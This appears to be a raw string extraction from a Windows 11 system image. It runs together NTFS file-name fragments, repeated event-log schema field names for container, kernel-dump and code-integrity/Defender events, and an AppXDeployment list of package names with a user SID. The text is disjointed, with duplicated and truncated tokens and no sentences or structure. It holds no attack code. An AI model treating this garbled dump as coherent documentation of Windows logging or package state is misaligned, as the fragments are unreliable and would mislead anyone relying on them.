RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Containers-BindFlt Microsoft-Windows-Containers-BindFlt/Operational EventData 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Containers-BindFlt Microsoft-Windows-Containers-BindFlt/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Containers-BindFlt Microsoft-Windows-Containers-BindFlt/Operational Microsoft-Windows-Containers-BindFlt Microsoft-Windows-Containers-BindFlt/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Containers-BindFlt Microsoft-Windows-Containers-BindFlt/Operational Microsoft-Windows-Containers-BindFlt Microsoft-Windows-Containers-BindFlt/Operational Microsoft-Windows-Containers-BindFlt Microsoft-Windows-Containers-BindFlt/Operational Microsoft-Windows-Containers-BindFlt Microsoft-Windows-Containers-BindFlt/Operational store.db 6-9855-4ee1-9dc9-538f60f1a8da.down_data PFL_PA~1.XML PFL_Package_for_RollupFix~~amd64~~26100.7840.1.19.xml 000017.ldb CURRENT 000019~1.DBT 5B9978~1.JPG 5b99784d-2fb1-5017-1a97-1371498e44d2_desktop-008_singaporeskyline_gettyimages-947263890_3840x2160[1].jpg 136D9D~1.JPG 134163937706373044.jpg 8B246A~1.JPG 8b246a16-a76b-6631-5301-14f8532d9dc5_desktop-008_singaporeskyline_gettyimages-947263890_1080x1920[1].jpg RUA3E7~1.PF0 RUNTIMEBROKER.EXE-F0BE6FF5.pf CONFCO~1.BAC confCons.xml.20260224-0903055197.backup kamd64_languagefeatures-wo..n-legacy-deployment_31bf3856ad364e35_10.0.26100.1_none_ffbc1e22fbb0562f.manifest 62f.manifest 62f.manifest 338387 $I300 $I30 $I30 4edaf8c21402432684df7c5746801ef6_1.~tmp 4EDAF8~1 4EDAF8~1.~TM STB60A~1.PNG StickyNotesAppList.targetsize-16_contrast-black.png CONFCO~3.BAC confCons.xml.20260224-0903460604.backup CONFCO~4.BAC confCons.xml.20260224-0903460668.backup 310091 $I300 $I30 $I30 e19472e7a573444b8b561fd992bf0ade_1.~tmp E19472~1 E19472~1.~TM 1StickyNotesBadgeLogo.scale-100_contrast-black.png IStickyNotesAppList.targetsize-24_altform-lightunplated_contrast-black.png WofCompressedData $DSC WofCompressedData $DSC ActionFXMetadata ACTION~1ntI ConstraintIndex CONSTR~1w EBWebView EBWEBV~1 Search appxblockmap.xmlx appxmanifest.xmlx appxsignature.p7x Assets microsoft.system.package.metadata MICROS~1.MET\ pris resources.priiz SpeechSynthesizer SpeechSynthesizerExtension.dll SPEECH~1 Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational EventData Data NTStatus 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational Microsoft-Windows-Kernel-Dump Microsoft-Windows-Kernel-Dump/Operational d Signing Level Status SHA1 Hash Size SHA1 Hash SHA256 Hash Size SHA256 Hash SI Signing Scenario PolicyNameLength PolicyName PolicyIDLength PolicyID EventData Data Name FileNameLength Data Name File Name Data Name ProcessNameLength Data Name Process Name Data Name Requested Signing Level Data Name Validated Signing Level Data Name Status Data Name SHA1 Hash Size Data Name SHA1 Hash Data Name SHA256 Hash Size Data Name SHA256 Hash Data Name Data Name SI Signing Scenario Data Name PolicyNameLength Data Name PolicyName Data Name PolicyIDLength Data Name PolicyID Data Name PolicyHashSize Data Name PolicyHash FileNameLength File Name ProcessNameLength Process Name Requested Signing Level Validated Signing Level Status SHA1 Hash Size SHA1 Hash SHA256 Hash Size SHA256 Hash SI Signing Scenario PolicyNameLength PolicyName PolicyIDLength PolicyID PolicyHashSize PolicyHash EventData Data Name FileNameLength Data Name File Name Data Name ProcessNameLength Data Name Process Name Data Name Requested Signing Level Data Name Validated Signing Level Data Name Status Data Name SHA1 Hash Size Data Name SHA1 Hash Data Name SHA256 Hash Size Data Name SHA256 Hash Data Name Data Name SI Signing Scenario Data Name PolicyNameLength Data Name PolicyName Data Name PolicyIDLength Data Name PolicyID Data Name PolicyHashSize Data Name PolicyHash Data Name OriginalFileNameLength Data Name OriginalFileName Data Name InternalNameLength Data Name InternalName Data Name FileDescriptionLength Data Name FileDescription Data Name ProductNameLength Data Name ProductName Data Name FileVersion FileNameLength File Name ProcessNameLength Process Name Requested Signing Level Validated Signing Level Status SHA1 Hash Size SHA1 Hash SHA256 Hash Size SHA256 Hash SI Signing Scenario PolicyNameLength PolicyName PolicyIDLength PolicyID PolicyHashSize PolicyHash OriginalFileNameLength OriginalFileName InternalNameLength InternalName FileDescriptionLength FileDescription ProductNameLength ProductName FileVersion EventData Data Name FileNameLength Data Name File Name Data Name ProcessNameLength Data Name Process Name Data Name Requested Signing Level Data Name Validated Signing Level Data Name Status Data Name SHA1 Hash Size Data Name SHA1 Hash Data Name SHA256 Hash Size Data Name SHA256 Hash Data Name Data Name SI Signing Scenario Data Name PolicyNameLength Data Name PolicyName Data Name PolicyIDLength Data Name PolicyID Data Name PolicyHashSize Data Name PolicyHash Data Name OriginalFileNameLength Data Name OriginalFileName Data Name InternalNameLength Data Name InternalName Data Name FileDescriptionLength Data Name FileDescription Data Name ProductNameLength Data Name ProductName Data Name FileVersion Data Name PolicyGUID FileNameLength File Name ProcessNameLength Process Name Requested Signing Level Validated Signing Level Status SHA1 Hash Size SHA1 Hash SHA256 Hash Size SHA256 Hash SI Signing Scenario PolicyNameLength PolicyName PolicyIDLength PolicyID PolicyHashSize PolicyHash OriginalFileNameLength OriginalFileName InternalNameLength InternalName FileDescriptionLength FileDescription ProductNameLength ProductName FileVersion PolicyGUID EventData Data Name FileNameLength Data Name File Name Data Name ProcessNameLength Data Name Process Name Data Name Requested Signing Level Data Name Validated Signing Level Data Name Status Data Name SHA1 Hash Size Data Name SHA1 Hash Data Name SHA256 Hash Size Data Name SHA256 Hash Data Name SHA1 Flat Hash Size Data Name SHA1 Flat Hash Data Name SHA256 Flat Hash Size Data Name SHA256 Flat Hash Data Name Data Name SI Signing Scenario Data Name PolicyNameLength Data Name PolicyName Data Name PolicyIDLength Data Name PolicyID Data Name PolicyHashSize Data Name PolicyHash Data Name OriginalFileNameLength Data Name OriginalFileName Data Name InternalNameLength Data Name InternalName Data Name FileDescriptionLength Data Name FileDescription Data Name ProductNameLength Data Name ProductName Data Name FileVersion Data Name PolicyGUID Data Name UserWriteable Data Name PackageFamilyNameLength Data Name PackageFamilyName FileNameLength File Name ProcessNameLength Process Name Requested Signing Level Validated Signing Level Status SHA1 Hash Size SHA1 Hash SHA256 Hash Size SHA256 Hash SHA1 Flat Hash Size SHA1 Flat Hash SHA256 Flat Hash Size SHA256 Flat Hash SI Signing Scenario PolicyNameLength PolicyName PolicyIDLength PolicyID PolicyHashSize PolicyHash OriginalFileNameLength OriginalFileName InternalNameLength InternalName FileDescriptionLength FileDescription ProductNameLength ProductName FileVersion PolicyGUID UserWriteable PackageFamilyNameLength PackageFamilyName EventData Data Name FileNameLength Data Name File Name Data Name ProcessNameLength Data Name Process Name Data Name SHA1 Hash Size Data Name SHA1 Hash Data Name SHA256 Hash Size Data Name SHA256 Hash Data Name SHA1 Flat Hash Size Data Name SHA1 Flat Hash Data Name SHA256 Flat Hash Size Data Name SHA256 Flat Hash Data Name Data Name SI Signing Scenario Data Name OriginalFileNameLength Data Name OriginalFileName Data Name InternalNameLength Data Name InternalName Data Name FileDescriptionLength Data Name FileDescription Data Name ProductNameLength Data Name ProductName Data Name FileVersion Data Name UserWriteable Data Name PackageFamilyNameLength Data Name PackageFamilyName Data Name DenyingPolicyNameLength Data Name DenyingPolicyName Data Name "DenyingPolicySecureSettingIDLength Data Name DenyingPolicySecureSettingID Data Name DenyingPolicyID Data Name DenyingPolicyHashSize Data Name DenyingPolicyHash Data Name OverridingPolicyNameLength Data Name OverridingPolicyName Data Name %OverridingPolicySecureSettingIDLength Data Name OverridingPolicySecureSettingID Data Name OverridingPolicyID Data Name OverridingPolicyHashSize Data Name OverridingPolicyHash FileNameLength File Name ProcessNameLength Process Name SHA1 Hash Size SHA1 Hash SHA256 Hash Size SHA256 Hash SHA1 Flat Hash Size SHA1 Flat Hash SHA256 Flat Hash Size SHA256 Flat Hash SI Signing Scenario OriginalFileNameLength OriginalFileName InternalNameLength InternalName FileDescriptionLength FileDescription ProductNameLength ProductName FileVersion UserWriteable PackageFamilyNameLength PackageFamilyName DenyingPolicyNameLength DenyingPolicyName DenyingPolicySecureSettingIDLength DenyingPolicySecureSettingID DenyingPolicyID DenyingPolicyHashSize DenyingPolicyHash OverridingPolicyNameLength OverridingPolicyName OverridingPolicySecureSettingIDLength OverridingPolicySecureSettingID OverridingPolicyID OverridingPolicyHashSize OverridingPolicyHash EventData Data Name FileNameLength Data Name FileNameBuffer Data Name ProcessNameLength Data Name ProcessNameBuffer Data Name RequestedSigningLevel Data Name ValidatedSigningLevel Data Name ElapsedTime Data Name PolicyElapsedTime Data Name PercentageTime FileNameLength FileNameBuffer ProcessNameLength ProcessNameBuffer RequestedSigningLevel ValidatedSigningLevel ElapsedTime PolicyElapsedTime PercentageTime EventData Data Name FileNameLength Data Name FileNameBuffer Data Name ProcessNameLength Data Name ProcessNameBuffer Data Name RequirementType Data Name Status FileNameLength FileNameBuffer ProcessNameLength ProcessNameBuffer RequirementType Status EventData Data Name Status Data Name CachedFlags Data Name CacheSource Data Name CachedPolicy Status CachedFlags CacheSource CachedPolicy EventData Data Name Status Data Name CachedFlags Data Name CacheSource Data Name CachedPolicy Data Name State Data Name StateData Status CachedFlags CacheSource CachedPolicy State StateData EventData Data Name FileNameLength Data Name FileNameBuffer Data Name SecureRequired Data Name RequestedSigningLevel FileNameLength FileNameBuffer SecureRequired RequestedSigningLevel EventData Data Name FileNameLength Data Name FileNameBuffer Data Name SecureRequired Data Name RequestedSigningLevel Data Name ProcessNameLength Data Name ProcessNameBuffer FileNameLength FileNameBuffer SecureRequired RequestedSigningLevel ProcessNameLength ProcessNameBuffer EventData Data Name FileNameLength Data Name FileNameBuffer FileNameLength FileNameBuffer EventData Data Name Settings Data Name Exemption Settings Exemption EventData Data Name FileNameLength Data Name FileNameBuffer Data Name Status FileNameLength FileNameBuffer Status EventData Data Name FileNameLength Data Name FileName Data Name StatusCode Data Name ManagedInstallerEnabled Data Name PassesManagedInstaller Data Name SmartlockerEnabled Data Name PassesSmartlocker Data Name DefenderTrust Data Name AuditEnabled Data Name PolicyNameLength Data Name PolicyName Data Name PolicyIDLength Data Name PolicyID FileNameLength FileName StatusCode ManagedInstallerEnabled PassesManagedInstaller SmartlockerEnabled PassesSmartlocker DefenderTrust AuditEnabled PolicyNameLength PolicyName PolicyIDLength PolicyID EventData Data Name TotalSignatureCount Data Name Signature Data Name Hash Size Data Name Hash Data Name SignatureType Data Name ValidatedSigningLevel Data Name VerificationError Data Name Flags Data Name PolicyBits Data Name NotValidBefore Data Name NotValidAfter Data Name PublisherNameLength Data Name PublisherName Data Name IssuerNameLength Data Name IssuerName TotalSignatureCount Signature Hash Size Hash SignatureType ValidatedSigningLevel VerificationError Flags PolicyBits NotValidBefore NotValidAfter PublisherNameLength PublisherName IssuerNameLength IssuerName EventData Data Name TotalSignatureCount Data Name Signature Data Name Hash Size Data Name Hash Data Name PageHash Data Name SignatureType Data Name ValidatedSigningLevel Data Name VerificationError Data Name Flags Data Name PolicyBits Data Name NotValidBefore Data Name NotValidAfter Data Name PublisherNameLength Data Name PublisherName Data Name IssuerNameLength Data Name IssuerName Data Name PublisherTBSHashSize Data Name PublisherTBSHash Data Name IssuerTBSHashSize Data Name IssuerTBSHash TotalSignatureCount Signature Hash Size Hash PageHash SignatureType ValidatedSigningLevel VerificationError Flags PolicyBits NotValidBefore NotValidAfter PublisherNameLength PublisherName IssuerNameLength IssuerName PublisherTBSHashSize PublisherTBSHash IssuerTBSHashSize IssuerTBSHash EventData Data Name TotalSignatureCount Data Name Signature Data Name CacheState Data Name Hash Size Data Name Hash Data Name PageHash Data Name SignatureType Data Name ValidatedSigningLevel Data Name VerificationError Data Name Flags Data Name PolicyBits Data Name NotValidBefore Data Name NotValidAfter Data Name PublisherNameLength Data Name PublisherName Data Name IssuerNameLength Data Name IssuerName Data Name PublisherTBSHashSize Data Name PublisherTBSHash Data Name IssuerTBSHashSize Data Name IssuerTBSHash TotalSignatureCount Signature CacheState Hash Size Hash PageHash SignatureType ValidatedSigningLevel VerificationError Flags PolicyBits NotValidBefore NotValidAfter PublisherNameLength PublisherName IssuerNameLength IssuerName PublisherTBSHashSize PublisherTBSHash IssuerTBSHashSize IssuerTBSHash EventData Data Name TotalSignatureCount Data Name Signature Data Name CacheState Data Name Hash Size Data Name Hash Data Name PageHash Data Name SignatureType Data Name ValidatedSigningLevel Data Name VerificationError Data Name Flags Data Name PolicyBits Data Name NotValidBefore Data Name NotValidAfter Data Name PublisherNameLength Data Name PublisherName Data Name IssuerNameLength Data Name IssuerName Data Name PublisherTBSHashSize Data Name PublisherTBSHash Data Name IssuerTBSHashSize Data Name IssuerTBSHash Data Name OPUSInfoLength Data Name OPUSInfo Data Name EKUsSize Data Name EKUs Data Name KnownRoot TotalSignatureCount Signature CacheState Hash Size Hash PageHash SignatureType ValidatedSigningLevel VerificationError Flags PolicyBits NotValidBefore NotValidAfter PublisherNameLength PublisherName IssuerNameLength IssuerName PublisherTBSHashSize PublisherTBSHash IssuerTBSHashSize IssuerTBSHash OPUSInfoLength OPUSInfo EKUsSize EKUs KnownRoot EventData Data Name PolicyNameLength Data Name PolicyNameBuffer Data Name PolicyIdLength Data Name PolicyIdBuffer Data Name TypeOfPolicy Data Name Status Data Name Options Data Name PolicyHashSize Data Name PolicyHash PolicyNameLength PolicyNameBuffer PolicyIdLength PolicyIdBuffer TypeOfPolicy Status Options PolicyHashSize PolicyHash EventData Data Name PolicyNameLength Data Name PolicyNameBuffer Data Name PolicyIdLength Data Name PolicyIdBuffer Data Name PolicyGUID Data Name Status Data Name Options Data Name PolicyHashSize Data Name PolicyHash PolicyNameLength PolicyNameBuffer PolicyIdLength PolicyIdBuffer PolicyGUID Status Options PolicyHashSize PolicyHash EventData Data Name PolicyNameLength Data Name PolicyNameBuffer Data Name PolicyIdLength Data Name PolicyIdBuffer Data Name PolicyGUID Data Name Status Data Name Options Data Name PolicyHashSize Data Name PolicyHash Data Name OptionsV2 PolicyNameLength PolicyNameBuffer PolicyIdLength PolicyIdBuffer PolicyGUID Status Options PolicyHashSize PolicyHash OptionsV2 EventData Data Name NumberOfPolicies NumberOfPolicies EventData Data Name NumberOfPolicies Data Name Status NumberOfPolicies Status EventData Data Name PolicyType Data Name Status PolicyType Status EventData Data Name PolicyGUID Data Name Status PolicyGUID Status EventData Data Name PolicyGUID PolicyGUID EventData Data Name FileNameLength Data Name FileNameBuffer Data Name Status Data Name HVCI Audit Failures Data Name ProcessNameLength Data Name ProcessNameBuffer FileNameLength FileNameBuffer Status HVCI Audit Failures ProcessNameLength ProcessNameBuffer EventData Data Name PolicyNameLength Data Name PolicyNameBuffer Data Name FromMode Data Name ToMode Data Name Status PolicyNameLength PolicyNameBuffer FromMode ToMode Status EventData Data Name FileNameLength Data Name FileName Data Name ProcessNameLength Data Name ProcessName Data Name Status Data Name SHA1HashSize Data Name SHA1Hash Data Name SHA256HashSize Data Name SHA256Hash Data Name SHA256FlatHashSize Data Name SHA256FlatHash FileNameLength FileName ProcessNameLength ProcessName Status SHA1HashSize SHA1Hash SHA256HashSize SHA256Hash SHA256FlatHashSize SHA256FlatHash EventData Data Name PolicyGUID Data Name PublisherNameLength Data Name PublisherName Data Name IssuerNameLength Data Name IssuerName Data Name PublisherTBSHashSize Data Name PublisherTBSHash Data Name IssuerTBSHashSize Data Name IssuerTBSHash Data Name EKUsSize Data Name EKUs Data Name KnownRoot PolicyGUID PublisherNameLength PublisherName IssuerNameLength IssuerName PublisherTBSHashSize PublisherTBSHash IssuerTBSHashSize IssuerTBSHash EKUsSize EKUs KnownRoot EventData Data Name FileNameLength Data Name FileNameBuffer Data Name SHA256FlatHashSize Data Name SHA256FlatHash Data Name DefenderStatusCode Data Name DefenderCatDbFailureStage Data Name DefenderCatDbFailure Data Name DefenderTrust Data Name DefenderScanResultDetails Data Name DefenderTrustExpiryTime Data Name CachedDefenderTrust Data Name CachedDefenderTrustExpiryTime Data Name DefenderClientStatusCode Data Name DefenderCloudHTTPCode Data Name DefenderShellExecutedStatusCode Data Name %DefenderShellExecutedClientStatusCode Data Name "DefenderShellExecutedCloudHTTPCode Data Name DefenderEngineReportGUID Data Name %DefenderShellExecutedEngineReportGUID Data Name IsUnfriendlyFile Data Name DefenderCalled Data Name DefenderCallAttempted Data Name DefenderCloudCallRequested Data Name DefenderMadeCloudCall Data Name DefenderShellExecutedCalled Data Name "DefenderShellExecutedMadeCloudCall Data Name EADefenderTrustCached Data Name TTLValid Data Name DefenderDisabled Data Name ExternalAuthorizationFlags Data Name EnablementSwitchType Data Name PreviousEnablementState Data Name DefenderThreatNameLength Data Name DefenderThreatName Data Name %DefenderShellExecutedThreatNameLength Data Name DefenderShellExecutedThreatName Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer DESKTOP-8GBP982 Security UserID Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational EventData Data UserSid ProfilePath ProfileType S-1-5-21-3914889805-4071901059-918772286-1000 C:\Users\defaultuser0 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational UserSid IsSpecialUserProfile Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational InstallPackageList RemovePackageList Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe Microsoft.NET.Native.Runtime.2.2_2.2.28604.0_x64__8wekyb3d8bbwe Microsoft.NET.Native.Framework.2.2_2.2.29512.0_x64__8wekyb3d8bbwe Microsoft.UI.Xaml.2.8_8.2310.30001.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe Microsoft.VCLibs.140.00_14.0.33519.0_x64__8wekyb3d8bbwe Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_1.0.0.0_x64__8wekyb3d8bbwe 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe Microsoft.LockApp_10.0.26100.6725_neutral__cw5n1h2txyewy Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.AppRep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy NULL Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational UserSid OutdatedPackages UpToDatePackages S-1-5-21-3914889805-4071901059-918772286-1000 None None Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy 